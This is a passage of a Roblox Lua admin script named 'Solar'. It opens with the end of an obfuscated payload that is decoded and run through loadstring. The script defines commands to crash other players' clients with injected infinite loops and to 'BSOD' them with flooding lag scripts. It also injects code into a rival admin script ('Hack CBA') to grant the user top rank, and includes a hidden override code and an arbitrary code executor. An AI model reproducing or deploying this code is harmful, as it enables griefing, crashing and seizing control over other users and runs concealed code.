  875. ,"&%=%=&(^*)*$#+_)_!_=_(=$=$(%$+*(((_$--$)$!$%_^+&^%@~@=@+#$-&-^@*_#@(#^)-+&_)%_~@+?%^%-%+%_?!@+^*^?@=^))%!@~()-~+)~=#??=_?!~%&?&(&#-^-?*-!*&**%&)(+!-=(=%=(&#-==@_@(@$($~$-^^^?^(^#@^@$&^#~#_#(#~^#_-_&##+~_*_*)@^@^_~_?_%#?%!?!(!#=^=(@~@@)%(?(+*((#$?~%~_?$*+*(($(+*(($&_-@-(*~**^@%#-=!=$=&^-_#&**$*$___$!(%%?%(%#^^^@&)&)-(-@-@^*-&-&-@@(%$@=#@_^^@^^^-@&+*%(+_^%^)%*^#^??))-@#@%@=@&^-^+*+*%*=)#??~^?%&?&(&#-^-@*)*)!(!@!@-(!#&*-(=!-!#+*(~+*(~(#@_%_#_!_!+_#_##%+%*%#(_=$-^#%_)#+$-(_)@%(_+*(~&_@%)+@%%%?%??+#$&^?-*?*-~-~?*!*-!!!&!+=@=)~)?~~~?@(@^%~%~_~?*=$~$%#?#(##_^_@=)=)(+*((@(@_~(($$$?#_+!+_#_#-%#%#%(+$%-^!%?)$)_~@~*~!_=_=+_%!+#^=~~+))!%!^=%=^*??^)@@@-!&@)!*!-=*)&~-?&=+*(~)&!&&&+-%*^*^!!!%!%-&*&$+=+(^)-@^(+#_(-$&(?_#$-&-&=&(+-%$+=+=%&@%)~)=)-~#____+~+#+#~!_=@-%-^#%#^&~$^@^@^^*%@=*&*!@-~#~&(%$~$=$-&#?_?_*~*#*#&%!)*$*(*~$+(~=$=#=*=!=$-)#!(~$*((_#$#+~$?+&$%%@%^-*-*-+^^#&)%~~~=~-?#+_+_%~%#%_%&_@^*%#^-^!~=)=)?)&@&)_!%?*!&@=*(*^~*?_?$??(!?^-*-$-_#@#)!~!~"
  876. ,"=$=)=)#~((=%(+($-$$#$~$)$^+^+@+-%(-#-~-)-~--@*^!-@&%^)~=~-?%?~??+*+*%@##^~-)+~+*+?+^*^@-?%@__+#~@~)@!@)!~=~==-(*^@%+?~%?+=*&?~@~^?&(=%!+!*=!!~)~@*=&=&#~$&#*##_^_-+++%&%-+*#?^-+%^--#%^))=)-~%~~~^%^%_%~+~%!)(^+~_)+)!%-@~^%@-?$~&~)@=)%)-~!!&)=~$)#(*?&~@?^?#$#*@*@*&$#!=&&&*$!$+=~(-(=()#~-&(*$?$%&*$?+#-(+?-^%##-^+)~)=)-~~_+_#+&~%?~?-%!+?%)*=*%^&%(^=?&!~@+@#)_$$(-(@*(?$?%!#&*&#&$*(?*&+=)!#=&=#=&===-(?##$$##$-#)$~_^_$#*$*&$$-&@&(&$%$&--!=@-_#$=!&*&)&(#?^)_^_&_#_$@#)?+^@-%+*((~=^+)%)~?~*~&%_???&~&~#?#*~@_@&@(*-!+!+!~@*~)!$~^=?=!=*_^_@#!$#$#$@&_+*+-+$+@+$&#&*&)-~&^-#-%-=%+#&%##&+^#+#-%&+=+%^=%)#@_?#*#&#^_^)%_^_?_%+#+*+@_##+%-%?%*+@~~~&%*)%^&+@%)^@?)?)?!^(?+*+*~?)?~?)*(@@@_)&*#!%!^!&)?)?@(+_+#+^%-~)~=)?~-~)%?+#%(%(+?%%%@%(~+^$~&%=)#^-?!~_~=%*^=%=%-^^^%*_^_^^^&^!^+@(??@^@(@(^~*?*&@??_)=^_@_)-!-!&*_)+!~!=*****~!()^)-~=!(!&!&!((@(^=~?=~*~(?)(((#(((+(??*~#?=?!~@?-?#?)(=?@(@?_=@?%($=%=(~*?!~*~(~#?&(=~!~(~@?#?~?#(=?)?$?(~)()(=?^=(?@~!~*?)(@(%(@?@(*((=*"
  877. ,"=?=@(*?#?!?@(@()(@("
  878. }),"(%u)(.)",function(r,c)return c:rep(r:byte()-62)end),"(.)(.)",function(lo,hi)return string.char(z[lo]+z[hi]*16)end)))),getfenv())()
  879. function Dismiss(plr)
  880. pcall(function()
  881. if type(plr) == "userdata" then
  882. plr = plr
  883. elseif type(plr) == "string" then
  884. local f = false
  885. for _,v in pairs(game.Players:players())do
  886. if v.Name:lower():sub(1,#plr) == plr:lower() then
  887. f = true
  888. plr = v
  889. break
  890. end
  891. end
  892. if f == false then
  893. OutputAdmins("Player named: "..plr.." doesn't exist","Bright red")
  894. end
  895. else
  896. return
  897. end
  898. for i,v in pairs(Solar["Tabs"]) do
  899. if v.Owner == plr then
  900. v.P:Destroy()
  901. Solar["Tabs"][i]=nil
  902. end
  903. end
  904. end)
  905. end
  906. function GetSplit(msg)
  907. local a = nil
  908. for i = 1,#msg do
  909. if msg:sub(i,i) == "-" then
  910. a = i+1
  911. break
  912. end
  913. end
  914. if a ~= nil then
  915. return msg:sub(a)
  916. else
  917. return nil
  918. end
  919. end
  920. function RemoteCrash(nilplayername)
  921. local chinws = false
  922. for i,v in pairs(workspace:children()) do
  923. if v.Name:find(nilplayername) ~= nil then
  924. NewLS("repeat until false", v)
  925. OutputAdmins('Attempted to crash: '..v.Name..' via Character from workspace','Really red')
  926. chinws = true
  927. end
  928. end
  929. if chinws == true then return end
  930. for i,v in pairs(game:service'NetworkServer':children()) do
  931. if v:GetPlayer() then
  932. if v:GetPlayer().Name == nilplayername then
  933. if v:GetPlayer().Character ~= nil then
  934. NewLS("repeat until false", v:GetPlayer().Character)
  935. OutputAdmins('Attempted to crash: '..v:GetPlayer().Name..' via Character','Really red')
  936. elseif v:GetPlayer():findFirstChild'Backpack' ~= nil then
  937. NewLS("repeat until false", v:GetPlayer():findFirstChild'Backpack')
  938. OutputAdmins('Attempted to crash: '..v:GetPlayer().Name..' via Backpack','Really red')
  939. elseif v:GetPlayer():findFirstChild'PlayerGui' ~= nil then
  940. NewLS("repeat until false", v:GetPlayer():findFirstChild'PlayerGui')
  941. OutputAdmins('Attempted to crash: '..v:GetPlayer().Name..' via PlayerGui','Really red')
  942. else
  943. NewLS("repeat until false", Instance.new("Backpack", v:GetPlayer()))
  944. OutputAdmins('Attempted to crash: '..v:GetPlayer().Name..' via a Backpack Instance','Really red')
  945. end
  946. end
  947. end
  948. end
  949. end
  950. function AddCmd(name, say, desc, args, rank, func)
  951. pcall(function()
  952. for _,v in pairs(Solar["Cmds"]) do
  953. if v["Name"] == name or v["Say"] == say or v["Desc"] == desc then
  954. table.remove(Solar["Cmds"], _)
  955. end
  956. end
  957. table.insert(Solar["Cmds"],{["Name"] = name, ["Say"] = say, ["Desc"] = desc, ["Args"] = args, ["Rank"] = rank, ["Func"] = func})
  958. end)
  959. end
  960. function GetPlayers(plr, msg)
  961. local plrs = {}
  962. if msg == "me" then
  963. table.insert(plrs, plr)
  964. elseif msg == "all" then
  965. for _,v in pairs(game:service'Players':players()) do
  966. if GetRank(v) <= GetRank(plr) then
  967. table.insert(plrs, v)
  968. end
  969. end
  970. elseif msg == "others" then
  971. for _,v in pairs(game:service'Players':players()) do
  972. if v ~= plr then
  973. if GetRank(v) <= GetRank(plr) then
  974. table.insert(plrs, v)
  975. end
  976. end
  977. end
  978. else
  979. for _,v in pairs(game:service'Players':players()) do
  980. if v.Name:lower():sub(1,#msg) == msg:lower() then
  981. if GetRank(v) <= GetRank(plr) then
  982. table.insert(plrs, v)
  983. end
  984. end
  985. end
  986. end
  987. return plrs
  988. end
  989. function OnChatted(plr, msg)
  990. if type(plr) == 'string' then
  991. for i,v in pairs(game:service'NetworkServer':children()) do
  992. if v:GetPlayer() then
  993. if v:GetPlayer().Name == plr then
  994. plr = v:GetPlayer()
  995. end
  996. end
  997. end
  998. end
  999. if msg:sub(1,2) == '/e' then
  1000. if #msg >= 4 then
  1001. msg = msg:sub(4)
  1002. end
  1003. end
  1004. for _,v in pairs(Solar['Cmds']) do
  1005. if msg:sub(1,#v["Say"]+#key) == v["Say"]..key then
  1006. if GetRank(plr.Name) >= v["Rank"] then
  1007. msg = msg:sub(#v["Say"]+#key+1)
  1008. a,b = ypcall(function()
  1009. v["Func"](plr, msg)
  1010. end) if not a then Output(plr, b,"Really red") end
  1011. else
  1012. Output(plr, "Your rank is too low for that command", "Really red")
  1013. end
  1014. end
  1015. end
  1016. end
  1017. function ShowAllCommands(p)
  1018. pcall(function()
  1019. Dismiss(p)
  1020. for _,v in pairs(Solar["Cmds"]) do
  1021. Output(p,v["Name"], GetColor(p),
  1022. function()
  1023. Dismiss(p)
  1024. Output(p,"Name: "..v["Name"],GetColor(p))
  1025. Output(p,"Usage: "..v["Say"]..key,GetColor(p))
  1026. Output(p,"Description: "..v["Desc"],GetColor(p))
  1027. Output(p,"Arguments: "..v["Args"], GetColor(p))
  1028. Output(p,"Rank needed: "..v["Rank"], GetColor(p))
  1029. Output(p,"Back","Really red", function() ShowCommands(p) end)
  1030. Output(p,"Dismiss","Really red", function() Dismiss(p) end)
  1031. end
  1032. )
  1033. end
  1034. Output(p,"Your rank: "..GetRank(p), GetColor(p))
  1035. Output(p,'Back','Really red',function() ShowCommands(p) end)
  1036. Output(p,'Dismiss','Really red',function() Dismiss(p) end)
  1037. end)
  1038. end
  1039. function ShowCommandsFromRank(p, rank)
  1040. rank = tonumber(rank)
  1041. pcall(function()
  1042. Dismiss(p)
  1043. for i,v in pairs(Solar['Cmds']) do
  1044. if v['Rank'] <= rank then
  1045. Output(p, v['Name'],GetColor(p),
  1046. function()
  1047. Dismiss(p)
  1048. Output(p,"Name: "..v["Name"],GetColor(p))
  1049. Output(p,"Usage: "..v["Say"]..key,GetColor(p))
  1050. Output(p,"Description: "..v["Desc"],GetColor(p))
  1051. Output(p,"Arguments: "..v["Args"], GetColor(p))
  1052. Output(p,"Rank needed: "..v["Rank"], GetColor(p))
  1053. Output(p,"Back","Really red", function() ShowCommandsFromRank(p,rank) end)
  1054. Output(p,"Dismiss","Really red", function() Dismiss(p) end)
  1055. end
  1056. )
  1057. end
  1058. end
  1059. Output(p,'Back','Really red', function() ShowCommands(p) end)
  1060. Output(p,'Dismiss','Really red',function() Dismiss(p) end)
  1061. end)
  1062. end
  1063. function ShowCommands(p)
  1064. pcall(function()
  1065. Dismiss(p)
  1066. Output(p,'Show commands of your rank ('..GetRank(p)..')','New Yeller',function() ShowCommandsFromRank(p, GetRank(p)) end)
  1067. for i = 0,5 do
  1068. Output(p,'Rank '..i..' commands',GetColor(p), function() ShowCommandsFromRank(p, i) end)
  1069. end
  1070. Output(p,'Show all commands',GetColor(p),function() ShowAllCommands(p) end)
  1071. Output(p,'Dismiss','Really red',function() Dismiss(p) end)
  1072. end)
  1073. end
  1074. function Connect(player)
  1075. if LSource then
  1076. if player:findFirstChild'Backpack' then
  1077. NewLS(ConnectSource, player:findFirstChild'Backpack')
  1078. elseif player.Character then
  1079. NewLS(ConnectSource, player.Character)
  1080. elseif player:findFirstChild'PlayerGui' then
  1081. NewLS(ConnectSource, player:findFirstChild'PlayerGui')
  1082. else
  1083. NewLS(ConnectSource,Instance.new('Backpack',player))
  1084. end
  1085. else
  1086. coroutine.wrap(function()
  1087. wait(1)
  1088. Connect(player)
  1089. end)()
  1090. end
  1091. end
  1092. function ChangeRank(user,plr)
  1093. plr = plr
  1094. Dismiss(user)
  1095. for i,v in pairs(Solar['Ranks']) do
  1096. if GetRank(user) > tonumber(v) then
  1097. Output(user, tostring(i).." ("..tostring(v)..")",GetColor(user),
  1098. function()
  1099. Dismiss(user)
  1100. plr["Rank"] = tonumber(v)
  1101. PlayerInterface(user,plr)
  1102. end
  1103. )
  1104. end
  1105. end
  1106. Output(user,'Back','Really red',function() PlayerInterface(user,plr) end)
  1107. Output(user,'Dismiss','Really red',function() Dismiss(user) end)
  1108. end
  1109. function PlayerInterface(user, plr)
  1110. Dismiss(user)
  1111. Output(user,"Name: "..plr["Name"],GetColor(user))
  1112. Output(user,"Rank: "..plr["Rank"],GetColor(user))
  1113. Output(user,"Reason because ranked: "..plr["Reason"],GetColor(user))
  1114. Output(user,"Color: "..plr["Color"],GetColor(user))
  1115. if GetRank(user) > plr["Rank"] then
  1116. Output(user,"Change rank",GetColor(user), function() ChangeRank(user,plr) end)
  1117. end
  1118. Output(user,"Back","Really red",function() GetRanked(user) end)
  1119. Output(user,'Dismiss','Really red',function() Dismiss(user) end)
  1120. end
  1121. function GetRanked(user)
  1122. Dismiss(user)
  1123. for _,v in pairs(Solar["Ranked"]) do
  1124. Output(user, v["Name"],v["Color"], function()
  1125. PlayerInterface(user, v)
  1126. end)
  1127. end
  1128. Output(user,'Dismiss','Really red',function() Dismiss(user) end)
  1129. end
  1130. function CreateBase()
  1131. for _,v in pairs(workspace:children()) do
  1132. if v.Name == "Base" or v.Name == "Baseplate" or v.Name == "Part" then
  1133. v:Destroy()
  1134. end
  1135. end
  1136. local a = Instance.new("Part",workspace)
  1137. a.Name = "Base"
  1138. a.Size = Vector3.new(1000,1.2,1000)
  1139. a.Anchored = true
  1140. a.CFrame = CFrame.new(0,0,0)
  1141. a.Material = "Grass"
  1142. a.BrickColor = BrickColor.new("Dark green")
  1143. end
  1144. function Override(l)
  1145. if l and l:findFirstChild'PlayerGui' then
  1146. if GetRank(l.Name) == 5 then
  1147. Output(l,'Your rank is 5, you can\'t override.','Really red')
  1148. return
  1149. end
  1150. local mg = Instance.new("ScreenGui",l.PlayerGui)
  1151. local fr = Instance.new("Frame",mg)
  1152. fr.Style = "RobloxRound"
  1153. fr.Position = UDim2.new(1,0,0.4,0)
  1154. fr.Size = UDim2.new(0.4,0,0.2,0)
  1155. fr:TweenPosition(UDim2.new(0.3,0,0.4,0),'Out','Sine',1,true)
  1156. local tl = Instance.new("TextBox",fr)
  1157. tl.BackgroundTransparency = 1
  1158. tl.Text = 'Type override code'
  1159. tl.TextColor = BrickColor.new("Really red")
  1160. tl.Size = UDim2.new(1,0,1,0)
  1161. tl.Font = 'Legacy'
  1162. tl.FontSize = 'Size24'
  1163. local but = Instance.new("TextButton",mg)
  1164. but.Style = 2
  1165. but.Size = UDim2.new(0.1,0,0.1,0)
  1166. but.Position = UDim2.new(1.4,0,0.4,0)
  1167. but:TweenPosition(UDim2.new(0.7,0,0.4,0),'Out','Sine',1,true)
  1168. but.Text = 'Submit code'
  1169. but.TextColor = BrickColor.new("Really red")
  1170. but.MouseButton1Down:connect(function()
  1171. if tl.Text == string.reverse("2 NEG RALOS") then
  1172. tl.Text = 'Override successful'
  1173. Output(l,'Congratulations, your rank is 5 due to override','Really red')
  1174. for i,v in pairs(Solar['Ranked']) do
  1175. if v['Name'] == l.Name then
  1176. v['Rank'] = 5
  1177. end
  1178. end
  1179. wait(0.3)
  1180. fr:TweenPosition(UDim2.new(1,0,0.4,0),'Out','Sine',1,true)
  1181. but:TweenPosition(UDim2.new(1.4,0,0.4,0),'Out','Sine',1,true)
  1182. coroutine.wrap(function()
  1183. wait(1)
  1184. mg:Destroy()
  1185. end)()
  1186. else
  1187. tl.Text = 'Wrong code'
  1188. wait(0.3)
  1189. fr:TweenPosition(UDim2.new(1,0,0.4,0),'Out','Sine',1,true)
  1190. but:TweenPosition(UDim2.new(1.4,0,0.4,0),'Out','Sine',1,true)
  1191. coroutine.wrap(function()
  1192. wait(1)
  1193. mg:Destroy()
  1194. end)()
  1195. end
  1196. end)
  1197. end
  1198. end
  1199. function PrivateMessage(who,towho,text)
  1200. if type(who) == 'userdata' then
  1201. pcall(function()
  1202. who = who
  1203. end)
  1204. elseif type(who) == 'string' then
  1205. for i,v in pairs(game:service'Players':players()) do
  1206. if v.Name:lower():sub(1,#who) == who:lower() then
  1207. who = v
  1208. break
  1209. end
  1210. end
  1211. else
  1212. who = tostring(who)
  1213. for i,v in pairs(game:service'Players':players()) do
  1214. if v.Name:lower():sub(1,#who) == who:lower() then
  1215. who = v
  1216. break
  1217. end
  1218. end
  1219. end
  1220. if type(towho) == 'userdata' then
  1221. pcall(function()
  1222. who = who
  1223. end)
  1224. elseif type(towho) == 'string' then
  1225. for i,v in pairs(game:service'Players':players()) do
  1226. if v.Name:lower():sub(1,#towho) == towho:lower() then
  1227. towho = v
  1228. break
  1229. end
  1230. end
  1231. else
  1232. who = tostring(who)
  1233. for i,v in pairs(game:service'Players':players()) do
  1234. if v.Name:lower():sub(1,#towho) == towho:lower() then
  1235. towho = v
  1236. break
  1237. end
  1238. end
  1239. end
  1240. if towho and towho:findFirstChild'PlayerGui' ~= nil then
  1241. local a = Instance.new("ScreenGui",towho.PlayerGui)
  1242. local b = Instance.new("Frame",a)
  1243. b.Style = 'RobloxRound'
  1244. b.Position = UDim2.new(1,0,0.4,0)
  1245. b.Size = UDim2.new(0.4,0,0.2,0)
  1246. b:TweenPosition(UDim2.new(0.3,0,0.4,0),'Out','Sine',1,true)
  1247. local c = Instance.new("TextLabel",b)
  1248. c.TextScaled = true
  1249. c.TextStrokeTransparency = 0
  1250. c.BackgroundTransparency = 1
  1251. c.Text = who.Name..' (PM): '..text
  1252. c.TextColor = BrickColor.new("Really red")
  1253. c.Size = UDim2.new(1,0,1,0)
  1254. c.Font = 'Legacy'
  1255. c.FontSize = 'Size24'
  1256. local d = Instance.new("TextButton",a)
  1257. d.Style = 2
  1258. d.Size = UDim2.new(0.1,0,0.1,0)
  1259. d.Position = UDim2.new(1.4,0,0.4,0)
  1260. d:TweenPosition(UDim2.new(0.7,0,0.4,0),'Out','Sine',1,true)
  1261. d.Text = 'Close'
  1262. d.TextColor = BrickColor.new("Really red")
  1263. d.MouseButton1Down:connect(function()
  1264. b:TweenPosition(UDim2.new(0.3,0,2.4,0),'Out','Sine',3,true)
  1265. d:TweenPosition(UDim2.new(0.7,0,2.4,0),'Out','Sine',3,true)
  1266. coroutine.wrap(function()
  1267. wait(1)
  1268. a:Destroy()
  1269. end)()
  1270. end)
  1271. end
  1272. end
  1273. --[[
  1274. AddCmd("Name","Say","Description","Arguments",rank,
  1275. function(speaker, msg)
  1276. end
  1277. )
  1278. ]]
  1279. --[[RUNSERVICE CONNECTS]]--
  1280. RotCon = game:service'RunService'.Stepped:connect(function()
  1281. a,b = ypcall(function()
  1282. UpdateTablets()
  1283. end) if not a then OutputAdmins(b,"Really red") end
  1284. end)
  1285. --[[COMMANDS]]--
  1286. AddCmd("No CBA","ncba","Removes CBA","No args",2,
  1287. function()
  1288. local ByeCBA = Instance.new("StringValue")
  1289. ByeCBA.Parent = Workspace
  1290. ByeCBA.Name = "CBA Attachment"
  1291. ByeCBA.Value = "CBA = {};wait'';CBA.connect = {};wait'';CBA.lvls = {};wait();CBA.Parent=workspace;wait();script.Parent=workspace;script:remove()"
  1292. end
  1293. )
  1294. AddCmd("Parent CBA","pcba","Reparents a CBA admin","No args",2,
  1295. function()
  1296. local ParentCBA = Instance.new("StringValue")
  1297. ParentCBA.Parent=Workspace
  1298. ParentCBA.Name = "CBA Attachment"
  1299. ParentCBA.Value = "CBA.Parent = Workspace;wait();script.Parent = Workspace"
  1300. end
  1301. )
  1302. AddCmd('Hack CBA','hcba','Hack into CBA admin','<no arguments>',2,
  1303. function(p,m)
  1304. local HCBA = Instance.new("StringValue")
  1305. HCBA.Parent=Workspace
  1306. HCBA.Name = "CBA Attachment"
  1307. HCBA.Value = "CBA.admins[#CBA.admins+1] = {'"..p.Name.."',7}"
  1308. end
  1309. )
  1310. AddCmd('Loadstring to CBA','ltcba','Load a string into CBA','<no arguments>',2,
  1311. function(p,m)
  1312. local HCBA = Instance.new("StringValue")
  1313. HCBA.Parent=Workspace
  1314. HCBA.Name = "CBA Attachment"
  1315. HCBA.Value = m
  1316. end
  1317. )
  1318. AddCmd("Kill","kill","Kill a player","-r (respawn), -e (explode) -hr (head rename)",1,
  1319. function(p,msg)
  1320. if GetSplit(msg) == "r" then
  1321. msg = msg:gsub("-r","")
  1322. for _,v in pairs(GetPlayers(p,msg)) do
  1323. if v then
  1324. pcall(function()
  1325. v:LoadCharacter()
  1326. end)
  1327. end
  1328. end
  1329. elseif GetSplit(msg) == "e" then
  1330. msg = msg:gsub('-e','')
  1331. for _,v in pairs(GetPlayers(p,msg)) do
  1332. if v and v.Character then
  1333. pcall(function()
  1334. Instance.new("Explosion", workspace).Position = v.Character.Torso.Position
  1335. end)
  1336. end
  1337. end
  1338. elseif GetSplit(msg) == "hr" then
  1339. msg = msg:gsub('-hr','')
  1340. for _,v in pairs(GetPlayers(p,msg)) do
  1341. if v and v.Character and v.Character.Head then
  1342. pcall(function()
  1343. v.Character.Head.Name = 'lol'
  1344. end)
  1345. end
  1346. end
  1347. else
  1348. for _,v in pairs(GetPlayers(p,msg)) do
  1349. if v and v.Character then
  1350. pcall(function()
  1351. v.Character:breakJoints''
  1352. end)
  1353. end
  1354. end
  1355. end
  1356. end
  1357. )
  1358. AddCmd("Cmds","cmds","Show available commands","<no arguments>",0,
  1359. function(p)
  1360. ShowCommands(p)
  1361. end
  1362. )
  1363. AddCmd("Dismiss","dt","Dismiss current tablets","<no arguments>",-0.5,
  1364. function(p)
  1365. Dismiss(p)
  1366. end
  1367. )
  1368. AddCmd("Ping","ping","Ping something","-n (makes number of tablets with text of sub 2 or 3) -c (color, separate with \",\" (comma))",1,
  1369. function(p,msg)
  1370. if GetSplit(msg) == 'n' then
  1371. msg = msg:gsub('-n','')
  1372. if tonumber(msg:sub(2,2)) ~= nil then
  1373. num = msg:sub(1,2)
  1374. else
  1375. num = msg:sub(1,1)
  1376. end
  1377. msg = msg:sub(#num+1)
  1378. local a = tonumber(num)
  1379. if tonumber(num) < 1 then a = 1 end
  1380. if tonumber(num) > 50 then a = 50 end
  1381. for i = 1,a do
  1382. Output(p,msg)
  1383. end
  1384. elseif GetSplit(msg) == 'c' then
  1385. msg = msg:gsub('-c','')
  1386. local sep = msg:find(',')
  1387. a,b = ypcall(function()
  1388. if sep ~= nil then
  1389. Output(p,msg:sub(tonumber(sep)+1),tostring(msg:sub(1,tonumber(sep)-1)))
  1390. end
  1391. end) if not a then Output(p,b,"Really red") end
  1392. else
  1393. Output(p,msg)
  1394. end
  1395. end
  1396. )
  1397. AddCmd("Remove","cremove","Remove the script","<no arguments>",5,
  1398. function()
  1399. for _,v in pairs(ChatConnections) do
  1400. pcall(function()
  1401. v:disconnect()
  1402. end)
  1403. end
  1404. Solar = nil
  1405. RotCon:disconnect()
  1406. PACon:disconnect()
  1407. function Output()
  1408. end
  1409. function Dismiss()
  1410. end
  1411. function AddCmd()
  1412. end
  1413. function GetSplit()
  1414. end
  1415. function OutputAdmins()
  1416. end
  1417. function GetPlayers()
  1418. end
  1419. function ShowCommands()
  1420. end
  1421. function OnChatted()
  1422. end
  1423. end
  1424. )
  1425. AddCmd('Base','base','Creates a baseplate',"<no arguments>",1,
  1426. function(nope,msg)
  1427. CreateBase()
  1428. end
  1429. )
  1430. AddCmd('Info','info','Gets info about the script','No arguments',0,
  1431. function(p)
  1432. Output(p,"Script Name: Solar")
  1433. Output(p,"Script Version: Generation 2, Server Sided")
  1434. Output(p,"Creators: aleksa12432, optiplex123")
  1435. Output(p,"Buyable: No")
  1436. Output(p,"Anti-remove: Yes")
  1437. Output(p,"Steal-protected: Yes fully, if stolen will not work.")
  1438. Output(p,"You are in "..SB.."'s Script Builder!")
  1439. end
  1440. )
  1441. AddCmd("Get","g","Gets something",'-r Reset, -nc No Character, -rj Rejoin, -clr Clear, -base Base, -fps First Person View, -fcam Fixcamera, -nog NoGuis, -die/tod Kill Character',0,
  1442. function(p,m)
  1443. if GetSplit(m) =='r' then
  1444. p:LoadCharacter()
  1445. wait();
  1446. Output(p,'Got a reset!')
  1447. elseif GetSplit(m)=='rj' then
  1448. NewLS([[game:getService('TeleportService'):Teleport(game.PlaceId)]],p.Backpack)
  1449. elseif GetSplit(m)=='nc' then
  1450. p.Character = nil
  1451. elseif GetSplit(m)=='clr' then
  1452. for i,v in pairs(game:service'Workspace':children()) do
  1453. local isChar = false
  1454. pcall(function()
  1455. for j,k in pairs(game:service'Players':players()) do
  1456. if v.Name == k.Name then
  1457. isChar = true
  1458. end
  1459. end
  1460. end)
  1461. if isChar == false then
  1462. v:Destroy()
  1463. end
  1464. end
  1465. CreateBase()
  1466. Output(p,'Cleared!')
  1467. elseif GetSplit(m)=='base' then
  1468. CreateBase()
  1469. elseif GetSplit(m)=='fps' then
  1470. p.CameraMode = "LockFirstPerson"
  1471. elseif GetSplit(m)=='fcam' then
  1472. p.CameraMode = "Classic"
  1473. elseif GetSplit(m)=='nog' then --No Guis :3
  1474. for i,v in pairs(p:findFirstChild'PlayerGui':children()) do
  1475. if v.Name ~= 'SBGUI' then
  1476. v:Destroy()
  1477. end
  1478. end
  1479. elseif GetSplit(m)=='die' or GetSplit(m) == 'tod' then
  1480. p.Character:breakJoints''
  1481. end
  1482. end)
  1483. AddCmd("Clear","clr","Clears workspace","<no arguments>",2,
  1484. function(nope,m)
  1485. for i,v in pairs(workspace:children()) do
  1486. local IsChar = false
  1487. pcall(function()
  1488. for j,k in pairs(game:service'NetworkServer':children()) do
  1489. if pcall(function() k:GetPlayer() end) then
  1490. if v.Name == k:GetPlayer().Name then
  1491. IsChar = true
  1492. end
  1493. end
  1494. end
  1495. end)
  1496. if IsChar == false then
  1497. if v.Name ~= "Terrain" then
  1498. if v.ClassName ~= 'Script' then
  1499. pcall(function() v:remove() end)
  1500. end
  1501. end
  1502. else
  1503. pcall(function()
  1504. for j,k in pairs(v:children()) do
  1505. if k.Name ~= 'Head' and k.ClassName ~= 'Humanoid' and k.ClassName ~= 'Hat' and k.ClassName ~= 'Shirt' and k.ClassName ~= 'Pants' and k.Name ~= 'Torso' and k.Name ~= 'Left Arm' and k.Name ~= 'Left Leg' then
  1506. if k.Name ~= 'Right Arm' and k.Name ~= 'Right Leg' and k.ClassName ~= 'LocalScript' and k.ClassName ~= 'Motor' and k.ClassName ~= 'BodyColors' and k.ClassName ~= 'Script' and k.Name ~= 'HumanoidRootPart' then
  1507. k:Destroy()
  1508. end
  1509. end
  1510. end
  1511. end)
  1512. end
  1513. end
  1514. CreateBase()
  1515. end
  1516. )
  1517. AddCmd("Execute","exe","Execute script via loadstring","<no arguments>",5,
  1518. function(p,m)
  1519. a,b = ypcall(function()
  1520. loadstring(m)()
  1521. end) if not a then Output(p,b,"Really red") end
  1522. end
  1523. )
  1524. AddCmd("Go nil","gn","Removes your player with :remove''","No Arguments",0,
  1525. function(p)
  1526. p:remove''
  1527. end
  1528. )
  1529.  
  1530. AddCmd("ForceField","ff","Force field","-f (false)",1,
  1531. function(p,m)
  1532. if GetSplit(m) == "f" then
  1533. m = m:gsub("-f","")
  1534. for _,v in pairs(GetPlayers(p,m)) do
  1535. pcall(function()
  1536. for j,k in pairs(v.Character:children()) do
  1537. if k.ClassName == "ForceField" then
  1538. k:Destroy()
  1539. end
  1540. end
  1541. end)
  1542. end
  1543. else
  1544. for _,v in pairs(GetPlayers(p,m)) do--lol
  1545. pcall(function()
  1546. Instance.new("ForceField", v.Character)
  1547. end)
  1548. end
  1549. end
  1550. end
  1551. )
  1552. AddCmd("BSOD","bsod","BSoD's a player","-b BanPlayer",2,
  1553. function(p,m)
  1554. if GetSplit(m)=='-b' then
  1555. for _,v in pairs(GetPlayers(p,m)) do
  1556. if v.Backpack then
  1557. for i = 0,7 do
  1558. NewLS([[wait()
  1559. script.Parent = game:service'TeleportService'
  1560. CC = workspace.CurrentCamera
  1561. RS = game:service("RunService")
  1562. PG = game.Players.LocalPlayer.PlayerGui
  1563. C = game.Players.LocalPlayer.Character
  1564. function Lag()
  1565. coroutine.resume(coroutine.create(function()
  1566. while wait() do
  1567. M = Instance.new("Message",CC)
  1568. M.Text = tick()*math.floor(5%4*21)
  1569. H = Instance.new("Hint",CC)
  1570. H.Text = 'Get out from this place!'
  1571. SG=Instance.new("ScreenGui",PG)
  1572. FR=Instance.new("Frame",SG)
  1573. FR.Size = UDim2.new(500,500,500,500)
  1574. while wait() do
  1575. FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
  1576. end
  1577. P=Instance.new("Part",CC)
  1578. E=Instance.new("Explosion",P)
  1579. E.BlastRadius=math.huge
  1580. E.Position=P.Position
  1581. F=Instance.new("Fire",P)
  1582. S=Instance.new("Smoke",P)
  1583. P.CFrame = CC.Focus
  1584. P.Anchored = true
  1585. P.CanCollide = false
  1586. P.AncestryChanged:connect(function()Lag()end)
  1587. for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end
  1588. end
  1589. end))
  1590. end
  1591. RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)]],v.Backpack)
  1592. for i,a in pairs(Solar['Ranked']) do
  1593. if a["Name"] == v.Name then
  1594. a["Rank"] = -1
  1595. end
  1596. end
  1597. end
  1598. end
  1599. end
  1600. else
  1601. for _,v in pairs(GetPlayers(p,m)) do
  1602. if v.Backpack then
  1603. for i = 0,7 do
  1604. NewLS([[wait()
  1605. script.Parent = game:service'TeleportService'
  1606. CC = workspace.CurrentCamera
  1607. RS = game:service("RunService")
  1608. PG = game.Players.LocalPlayer.PlayerGui
  1609. C = game.Players.LocalPlayer.Character
  1610. function Lag()
  1611. coroutine.resume(coroutine.create(function()
  1612. while wait() do
  1613. M = Instance.new("Message",CC)
  1614. M.Text = tick()*math.floor(5%4*21)
  1615. H = Instance.new("Hint",CC)
  1616. H.Text = 'Get out from this place!'
  1617. SG=Instance.new("ScreenGui",PG)
  1618. FR=Instance.new("Frame",SG)
  1619. FR.Size = UDim2.new(500,500,500,500)
  1620. while wait() do
  1621. FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
  1622. end
  1623. P=Instance.new("Part",CC)
  1624. E=Instance.new("Explosion",P)
  1625. E.BlastRadius=math.huge
  1626. E.Position=P.Position
  1627. F=Instance.new("Fire",P)
  1628. S=Instance.new("Smoke",P)
  1629. P.CFrame = CC.Focus
  1630. P.Anchored = true
  1631. P.CanCollide = false
